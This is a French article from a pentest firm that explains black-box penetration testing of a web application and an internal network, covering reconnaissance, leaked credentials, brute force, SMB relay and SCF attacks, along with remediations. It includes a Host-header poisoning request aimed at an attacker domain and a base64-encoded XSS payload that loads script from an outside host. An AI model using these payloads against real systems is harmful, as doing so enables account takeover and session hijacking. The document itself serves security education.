Pentest Black Box : objectifs, méthodologie de tests et use cases

Lors d’un test d’intrusion, on considère généralement 3 conditions de tests : boite noire, grise ou blanche.

Ces conditions de tests correspondent à des niveaux d’informations fournis aux pentesters pour réaliser un pentest sur une cible spécifique. Alors qu’un pentest white box consistera à fournir un maximum d’informations, lors d’un pentest black box les pentesters disposeront d’aucune donnée sur la cible des tests.

Dans cet article, nous présentons les principes et objectifs d’un pentest black box. À travers des exemples concrets, nous détaillerons la méthodologie de tests en illustrant des vulnérabilités sur une application web et un réseau interne.

En quoi consiste un pentest Black Box (audit en boite noire) ?

Pour évaluer la sécurité d’une application web, un réseau interne, le système d’information d’une entreprise, etc., une approche très pragmatique consiste à reproduire des attaques de la façon la plus réaliste possible.

En effet, un pentest black box (audit en boîte noire), est une méthode d’évaluation de la sécurité où les pentesters disposent d’aucune connaissance sur le système cible.

L’objectif sera donc d’identifier le périmètre exposé puis d’exploiter des vulnérabilités techniques, logiques et/ou humaines pouvant compromettre la confidentialité, l’intégrité et la disponibilité des données et systèmes.

Enfin, les résultats des tests seront consignés dans un rapport de pentest, incluant toutes les vulnérabilités identifiées, leur niveau de criticité, les exploitations possibles ainsi que les recommandations de correction ou les mesures à implémenter pour renforcer la sécurité des cibles testées.

Par ailleurs, bien qu’un pentest black box soit réalisé dans les mêmes conditions qu’une attaque externe et que les pentesters utilisent les mêmes outils et techniques que les attaquants, il n’y a aucun risque pour la cible des tests. En effet, toutes les vulnérabilités sont exploitées de manière à ne rien altérer ou supprimer.

Pentest Black Box d’une application web

Contexte : application web sans possibilité de création de comptes

Pour ce premier exemple, considérons une application web qui n’offre pas la possibilité aux nouveaux utilisateurs de créer un compte.

L’accès à l’application est cependant restreint par une page d’authentification. Et, seuls les administrateurs sont en capacité de créer de nouveaux utilisateurs.

Ainsi, l’objectif de sécurité pour cette application web est de garantir qu’aucun utilisateur illégitime ne pourra accéder à la partie authentifiée. L’auditeur devra donc de trouver un moyen détourné pour accéder à l’application.

Dans ces conditions, deux solutions sont possibles : exploiter une vulnérabilité pour contourner l’authentification ou usurper un compte légitime.

Nous allons développer ces deux possibilités.

Identification de la surface d’attaque lors d’un pentest en boite noire

Reconnaissance Technique

Lors de cette phase, nous nous intéressons à la surface d’attaque de la cible. Cette surface va dépendre du périmètre défini par le client. Généralement nous allons étudier l’ensemble des services exposés par le ou les serveurs, mais aussi les sous-domaines proches de notre cible et leur gestion.

Cette première phase que l’on appelle la reconnaissance technique nous permet de dresser un portrait technologique de notre cible. Et, c’est lors de cette phase que nous pouvons déterminer si l’un des services dispose d’une vulnérabilité publiquement connue.

Ici, nous allons surtout évaluer la capacité du client à maîtriser l’exposition de ses services, mais aussi à appliquer une politique de mise à jour satisfaisante.

Et généralement, plus le système d’information de l’entreprise est grand, plus cet objectif est difficile à tenir.

Reconnaissance Humaine

Nous nous intéressons ensuite aux éléments humains. Cette fois-ci, notre objectif est d’obtenir des informations sur les utilisateurs.

Cela passe notamment par l’énumération des employés de l’entreprise sur LinkedIn, mais aussi la recherche de fuites de mots de passe.

En effet, plus une application possède d’utilisateurs, plus la possibilité qu’une fuite intervienne pour l’un d’entre eux augmente. Il est d’autant plus difficile de se protéger de ces fuites qu’elles ne sont pas la conséquence directe des actions de l’entreprise, mais de leurs utilisateurs.

Parmi ces fuites, on retrouve les bases de données de sites externes. Cela comprend par exemple la fuite de la base des utilisateurs de LinkedIn survenue en 2017.

L’auditeur trouvera dans ces fuites les adresses email ainsi que des mots de passe d’utilisateurs communs avec la cible de l’audit.

Dans le cas où les utilisateurs utiliseraient le même mot de passe pour ces sites externes que l’application qui nous intéresse, nous aurions ainsi un accès valide sur le service.

Email	Mot de passe / Hash	Source	Date
[email protected]	HASH BCRYPT	canva.com	2019-12-16

En plus de ces éléments, nous nous intéressons également aux fuites des « stealers ».

Il s’agit d’un type de malware qui va infecter les postes utilisateurs. Un poste infecté par ce malware se verra subtiliser tous les identifiants saisis. La revente de ces identifiants est le principal intérêt de ce type de malware.

Chez Vaadata, nous recherchons les fuites qui ont déjà fait l’objet d’une vente sur internet et nous les présentons dans nos rapports.

Username	Password	Origin	Target	Date
[email protected]	S********t	192.168.15.18	https://www.example.com	05/09/2023

Ces fuites s’avèrent particulièrement utiles dans le cadre d’un pentest black box. En effet, celles-ci sont efficaces pour obtenir des comptes valides sur la plateforme cible. Aussi, dans l’éventualité où aucun des mots de passe ne fonctionnerait (car modifiés depuis la date de la fuite), cette technique nous permet quand même d’obtenir une liste d’identifiants valides.

Dans notre étude de cas de l’entreprise « W », nous sommes parvenus à établir la liste complète des employés de l’entreprise via une recherche sur LinkedIn. Vu que les pages de login exigeaient des emails comme identifiant, nous pouvions générer les emails d’employés à partir des données récupérées sur LinkedIn. Ceux-ci étaient sous la forme de « pré[email protected] ».  

Dans le même temps, les fuites de mots de passe nous informaient que certains employés utilisaient des mots de passe insuffisamment robustes basés sur le nom de l’entreprise.

Découverte de vulnérabilités

La phase de reconnaissance qui précède nous permet d’obtenir bon nombre d’informations utiles.

Mais pour l’instant, nous avons très peu interagi avec la cible elle-même.

Si la seule fonctionnalité exposée aux utilisateurs non authentifiés est une page de Login, alors l’attaquant est contraint de concentrer ces efforts sur cette dernière.

Cette situation est très courante dans le cadre de nos audits en boîte noire.

Résistance aux attaques brute force

Notre toute première action sera d’analyser le comportement de l’application lors de l’envoi d’identifiants. On cherchera ici à détecter d’éventuelles configurations qui vont orienter notre choix d’attaque. Parmi les éléments à observer, on cherchera à savoir si l’application implémente une protection de type rate limiting.

Ici on sous-entend tout ce qui viendra perturber l’envoi d’identifiants de façon répété. Il en existe de différentes sortes :

• Un bannissement temporaire de l’adresse IP client
• Un blocage temporaire du compte cible après plusieurs tentatives infructueuses
• Une augmentation du délai de réponse
• Une limite stricte sur le nombre de requêtes par seconde
• Etc.

Ce type de protection va venir limiter notre capacité à réaliser une attaque brute force sur l’interface d’authentification. C’est-à-dire envoyer de nombreuses tentatives d’authentification jusqu’à que l’une d’elles soit acceptée par le serveur.

Il faut savoir qu’en l’absence de protection adaptée et avec les informations recueillies, l’attaque par force brute a de grandes chances d’aboutir. D’une part, car il nous a été possible de constituer une liste d’utilisateurs valides, d’autre part car nous avons connaissance de certains mots de passe utilisés par ces utilisateurs.

Ce recueil d’information permet même de limiter le nombre de tentatives de sorte à ne pas subir certaines des protections citées ci-dessus. Notons qu’à cause des éléments découverts dans les fuites, même la contrainte d’une politique de mot de passe robuste se révèle parfois insuffisante.

La seule mesure qui mettrait vraiment en difficulté cette stratégie d’attaque est l’implémentation de l’authentification à deux facteurs (2FA).

Recherche de failles d’injection

Même bloqué sur une page qui ne propose qu’un simple formulaire, il reste possible de découvrir des vulnérabilités d’ordres techniques.

On s’intéressera ici à tout type de vulnérabilité capable de modifier le comportement légitime de la page de login.

Les vulnérabilités dites d’injections sont ici les plus représentatives. En particulier les injections SQL ou bien les injections HTML permettant l’exploitation de vulnérabilité Cross Site Scripting.

L’injection SQL s’explique, car l’application doit vérifier dans sa base de données la validité de l’utilisateur lors de l’authentification.

Cette vérification, si elle n’est pas correctement effectuée, peut amener l’application à exécuter des routines sur sa base de données. Très présent dans le passé, ce type injection est aujourd’hui très rare.

L’impact d’une telle vulnérabilité reste cependant critique pour l’accès à l’application, mais aussi pour l’ensemble des données gérées par la plateforme.

L’autre injection plus courante que nous rencontrons est l’injection HTML. Cette injection intervient, car un élément contrôlable par l’utilisateur est reflété sur la page.

Cet élément peut être le contenu d’un message, le nom de l’utilisateur ou un lieu géographique précédemment enregistré dans un cookie.

Cette injection va permettre à l’attaquant de venir modifier l’agencement voire le fonctionnement de la page.

Si les éléments HTML ainsi injectés permettent l’exécution de code JavaScript, alors l’exploitation d’une vulnérabilité Cross Site Scripting devient possible.

Étude de la fonctionnalité d’oubli de mot de passe

La plupart des pages de login proposent à leurs utilisateurs de renouveler leur mot de passe en cas d’oubli.

Cette fonctionnalité s’avère aussi importante que l’authentification elle-même.

Le détournement de cette fonctionnalité par un attaquant lui permettrait d’obtenir un compte valide sur la plateforme.

Ainsi, l’attaquant va chercher à accéder au formulaire de modification de mot de passe à la place de l’utilisateur. Généralement, la fonctionnalité consiste en un email contenant un lien est envoyé à l’utilisateur.

Si l’attaquant parvient à consulter ou deviner le format du lien alors, il pourra accéder à la page de modification du mot de passe.  

Une attaque simple, mais déjà observée consiste à modifier le destinataire de l’email.

En de rares occasions, cette situation est rendue possible par certains paramètres contrôlables côté client. Si nous ne pouvons pas modifier le destinataire, il arrive parfois que nous puissions modifier le contenu de l’email par des éléments sous notre contrôle.

Dans ce cas, l’injection d’éléments HTML dans l’email peut s’avérer dangereuse. En effet, à partir de ce comportement il devient possible de divulguer une partie des informations lors de l’ouverture ou d’une première l’interaction avec l’utilisateur.

Une technique similaire consiste à modifier une partie du lien au moyen d’un empoisonnement par entête « host ». Cet empoisonnement va orienter le lien vers un serveur contrôlé par l’attaquant. 

En cliquant sur le lien de l’email, l’utilisateur va en réalité cibler le serveur de l’attaquant et divulguer le contenu du lien de modification de mot de passe.

Enfin, il arrive aussi que ce lien soit construit avec des informations devinables par l’attaquant.

Dans ce cas, après l’analyse d’un premier lien avec l’une des techniques décrites ci-dessus, l’attaquant pourra modifier le mot de passe d’autres utilisateurs.

Étude du formulaire de contact

Il arrive parfois que l’application mette à disposition un formulaire de contact à l’attention des utilisateurs du site.

Cette fonctionnalité implique que le message saisi via ce formulaire soit consultable depuis la partie authentifiée de l’application.

Un attaquant pourrait abuser de cette fonctionnalité pour y déposer, en aveugle, une charge malveillante qui affecterait tout utilisateur qui visualiserait ce message.

En effet, la visualisation de ce message sur l’interface dédiée par un administrateur est plus que probable.

Si cette visualisation n’applique pas les protections suffisantes pures se prémunir des injections clients (XSS, CSTI, etc.), il deviendra possible pour l’attaquant d’usurper la session de l’administrateur sur cette même interface.

Exploitation de vulnérabilités en boite noire

Empoisonnement de l’en-tête Host de la fonctionnalité de renouvellement de mot de passe

Ici, on considère que l’application auditée dispose d’une fonctionnalité de renouvellement de mot de passe.

Dans son mode de fonctionnement légitime, la fonctionnalité va envoyer un email à l’utilisateur contenant un lien pour réinitialiser son mot de passe.

Requête légitime :

POST /forgot-password HTTP/2
Host: website.exemple.com
…

username=Baudelaire

L’email ainsi reçu par la requête sera le suivant :

Or, il arrive qu’un défaut de configuration permette un empoisonnement de l’en-tête « Host ». Dans ce cas, un attaquant peut apporter les modifications suivantes à sa requête :

Requête avec empoisonnement de l’en-tête « Host » :

POST /forgot-password HTTP/2
Host: website.exemple.com
X-Forwarded-Host: malicious.attacker.com
…

username=Baudelaire

À la suite de cette requête, l’email que recevra l’utilisateur ciblé sera le suivant :

L’email est en tout point similaire à l’email légitime. La principale différence étant le domaine sur lequel pointe le lien de réinitialisation de mot de passe.

Dans une attaque par empoisonnement de l’entête « Host », ce domaine ciblera un serveur contrôlé par l’attaquant.

Le risque principal étant que si l’utilisateur ciblé clique sur le lien de ce mail, alors l’attaquant pourra récupérer le secret contenu dans le lien. Ce faisant, l’attaquant sera en mesure de modifier le mot de passe à la place de l’utilisateur ciblé.

Ce défaut de configuration a déjà été observé à de multiples reprises lors de nos audits. Le succès d’exploitation d’une telle vulnérabilité permet assez facilement à l’attaquant d’obtenir un compte valide sur l’application ciblée.

Injection d’éléments HTML sur la page de login

Lors de nos audits, il arrive parfois que la seule fonctionnalité disponible pour un utilisateur non authentifié soit la page de login.

Bien qu’elles constituent une des fonctionnalités les plus sensibles, il arrive parfois que des vulnérabilités puissent être exploitées dans l’espace même de page de login.

Voici ci-dessous une illustration de ce type de situation qui a déjà observé lors d’un audit.

Comme évoqué précédemment, l’auditeur cherchait a obtenir un accès illégitime sur l’application. En analysant le comportement de la page de login, il observe la fonctionnalité suivante.

Après l’envoi de la requête, il observe qu’un paramètre « error64 » a été ajouté à l’URL de la page. Le contenu de ce paramètre contenait en réalité la valeur du message d’erreur encodé en « base64 ».

$ echo -ne "V3JvbmcgdXNlcm5hbWUgb3IgcGFzc3dvcmQ=" | base64 -d
Wrong username or password

En manipulant ce paramètre, l’auditeur pouvait injecter dynamiquement du contenu sur la page de login. La vulnérabilité venait du fait que le contenu de ce message ne subissait aucune altération avant son injection sur la page de login.

Avec ce comportement, il est possible d’injecter des éléments HTML et d’exécuter arbitrairement du code JavaScript.

Ainsi, en modifiant volontairement la valeur de ce paramètre par une charge malveillante, nous pouvons changer le comportement de la page et exploiter une vulnérabilité de type Cross-Site-Scripting reflétée.

$ echo -n "<script src=//p.x.vaadata.it></script>" | base64
PHNjcmlwdCBzcmM9Ly9wLngudmFhZGF0YS5pdD48L3NjcmlwdD4=

De cette façon, tout utilisateur visitant notre URL ainsi modifiée se verra exécuter du code arbitraire sur son navigateur. Cette charge malveillante pourra, entre autres, usurper la session de l’utilisateur victime.

Pentest Black Box d’un réseau interne

Contexte : Une machine attaquante est disposée sur le réseau interne de l’entreprise

Dans ce scénario, on considère qu’un attaquant parvient insérer une machine dans le réseau interne de l’entreprise. Cette machine peut interagir avec les autres équipements du réseau, mais l’attaquant ne dispose d’aucune information préalable. Cela signifie qu’il ne dispose pas d’un compte utilisateur valide.

Ce scénario peut se produire lorsque l’attaquant parvient à se connecter sur le réseau wifi de l’entreprise ou lors de la compromission d’une machine exposée sur internet.

L’objectif de l’audit sera d’interagir avec les autres équipements du réseau et de détecter d’éventuelles vulnérabilités.

Découverte du réseau

Les éléments techniques

Sur un réseau interne, l’attaquant va chercher à déterminer quels sont les équipements qui l’entourent. Dans cette optique, Il peut se servir des spécificités des protocoles réseau qui lui permettront de confirmer la présence de machines et leurs adresses IP. Cette première phase de découverte va lui permettre de déduire l’existence de sous réseaux.

Une fois les différents sous-réseaux identifiés, l’auditeur va procéder à un scan de ports et de services. Ce scan va lui permettre d’identifier l’ensemble des services exposés ainsi que leur version. En comparant les versions identifiées avec des bases de vulnérabilités, il pourra en déduire si les logiciels sont affectés par des vulnérabilités connues, et dans ce cas, procéder à leur exploitation.

Une étape cruciale consistera à déterminer si le réseau utilise une solution Microsoft active Directory. L’utilisation de cette solution offre beaucoup de possibilités à un attaquant, notamment pour l’élévation de privilèges. 

Même sans disposer d’un compte valide sur le domaine, un attaquant reste en mesure d’obtenir des informations utiles pour mener à bien différentes attaques. Notamment le fait de déterminer les versions des systèmes d’exploitation. Ainsi que l’appartenance des postes utilisateurs au domaine ou non.

Une fois toutes ces informations recueillies. Il est possible de déterminer la pertinence de certaines attaques.

La phase de reconnaissance humaine

La phase de reconnaissance humaine dans le cadre d’un audit réseau interne n’est pas différente de la phase de reconnaissance effectuée dans un sur audit web.

Nous allons donc déterminer quels sont les utilisateurs potentiels de l’entreprise.

Donc, effectuer un focus particulier sur leurs employés. Cette reconnaissance peut très bien s’effectuer sur le réseau social LinkedIn ou les noms et prénoms des employés peuvent être retrouvés.

La constitution de cette liste d’utilisateurs peut-être complétée par une liste de mots de passe potentiels. Cette fois-ci, la génération d’une liste de mots de passe potentiels peut s’inspirer du nom de l’entreprise et du contexte de cette dernière.

Comme dans le cadre d’un test d’intrusion web, il est également pertinent d’aller récupérer les fuites de mot de passe.

Mise à l’épreuve de la politique de mot de passe

Une des premières applications du test d’intrusion interne sera la mise à l’épreuve de la politique de mot de passe. Il s’agit de l’ensemble des règles qui viendront contraindre l’utilisateur au moment où il définira son mot de passe.

La bonne définition de ces règles viendra augmenter la complexité des mots de passe des utilisateurs. Cette politique va être déterminante pour restreindre l’accès de l’attaquant.

Elle viendra agir aussi bien sur les comptes du domaine que sur une application de gestion ou d’administration précise.

Malgré une politique de mot de passe robuste, l’auditeur pourra utiliser le contexte de l’entreprise et effectuer une reconnaissance humaine pour trouver des identifiants valides.

En effet, lorsqu’un mot de passe est généré par un humain, il suit une logique intelligible qui peut statistiquement être prédite. Cette affirmation est d’autant plus vraie lorsque les utilisateurs évoluent dans un même contexte d’entreprise.

Il est donc fortement probable qu’un des utilisateurs utilise un mot de passe basé sur le nom de l’entreprise et sur lequel on a ajouté des caractères de sorte à satisfaire la politique de mot de passe. Cette assertion statistique peut être utilisée à l’avantage de l’attaquant pour constituer une liste potentielle de mot de passe. Une fois cette liste constituée, l’auditeur va tester cette dernière sur l’ensemble des services exposés.

Face à ce type d’attaque, plusieurs protections sont envisageables. L’une d’elles consistera à inciter les utilisateurs à utiliser un gestionnaire de mot de passe. De cette façon, les mots de passe générés par les utilisateurs ne suivront pas une logique prédictible.

Une solution complémentaire consiste à venir restreindre le nombre de tentatives de connexion. Cette solution reste difficile à mettre en place sur l’ensemble des services exposés. Mais, son application sur les services sensibles est déjà un gros gain de sécurité.

Capture du trafic non chiffré

Parce que les services sont exposés sur un réseau supposé accessible uniquement aux employés de l’entreprise, il est probable que certains services n’utilisent pas une configuration qui ne garantit pas la confidentialité des échanges.

On pense ici aux protocoles HTTP, FTP ou Telnet par exemple. Dans le cas où des tels services sont activement utilisés sur le réseau interne de l’entreprise, alors une simple écoute passive sur le réseau suffit pour prendre connaissance du contenu des échanges.

Ainsi, le transit d’un identifiant via l’un de ses protocoles pourra être récupéré par l’attaquant.

Pour se prémunir de ce type d’exploitation, il faudra s’assurer que chaque service utilise la version chiffrée de leur protocole respectif.

Rejeu du trafic non signé

Toujours dans le contexte d’un réseau interne, il arrive que certains services utilisent des protocoles qui ne permettent pas d’assurer leur intégrité sans un certaine configuration.

Cette situation est très commune avec le protocole SMB dans un environnement Active Directory.

En effet, un attaquant pourra effectuer une écoute active du réseau. De cette façon, procédera à une attaque bien connue qui est l’attaque « SMB Relay ». Une attaque qui peut exploiter sur toute machine qui n’implémente pas la signature du protocole SMB.

Ce type d’exploitation est très commun, car la signature du protocole SMB n’est pas activée par défaut sur Windows.

Le succès d’une telle attaque permet à l’attaquant d’obtenir un accès illégitime sur le partage de fichier ciblé. Si l’utilisateur usurpé était un administrateur de la machine, alors l’attaquant obtiendra un accès système sur la machine cible.

La prévention de ce type d’attaque se fait en imposant la signature SMB sur toutes les machines Windows du parc informatique.

Étude des services autorisant les accès anonymes

Il arrive que des services autorisent l’accès aux utilisateurs ne fournissant pas d’identifiants. Les sessions ainsi créées sont des sessions anonymes.

Dans un réseau interne, il arrive que des services soient configurés pour autoriser ce type de connexion.

Or ce type de configuration laisse la possibilité à un attaquant présent sur le réseau d’interagir avec ce service. Ce constat arrive fréquemment avec les serveurs de partage de fichier SMB et FTP. Deux cas d’abus sont possible à partir de ce comportement.

Dans l’hypothèse où l’attaquant n’a pas besoin de fournir d’identifiant valide, il pourra alors consulter l’ensemble des fichiers présent sur le partage. La présence de fichiers sensibles ou détenant des informations confidentielles sera un des points d’attention de l’auditeur.

Maintenant, si aucun document sensible n’est présent sur ces partages, l’accès en écriture à ces partages de fichiers peut s’avérer problématique. En effet, l’attaquant pourra y déposer un fichier malveillant qui affectera tout utilisateur affichant ce fichier. C’est le principe de l’attaque par dépôt de fichier SCF.

Un utilisateur victime de cette attaque verra un identifiant de son compte de domaine capturé par l’attaquant. C’est pour cette raison que l’analyse des services autorisant l’accès anonymes est l’un des objectifs de l’audit.

Auteur : Benoit PHILIPPE – Pentester @Vaadata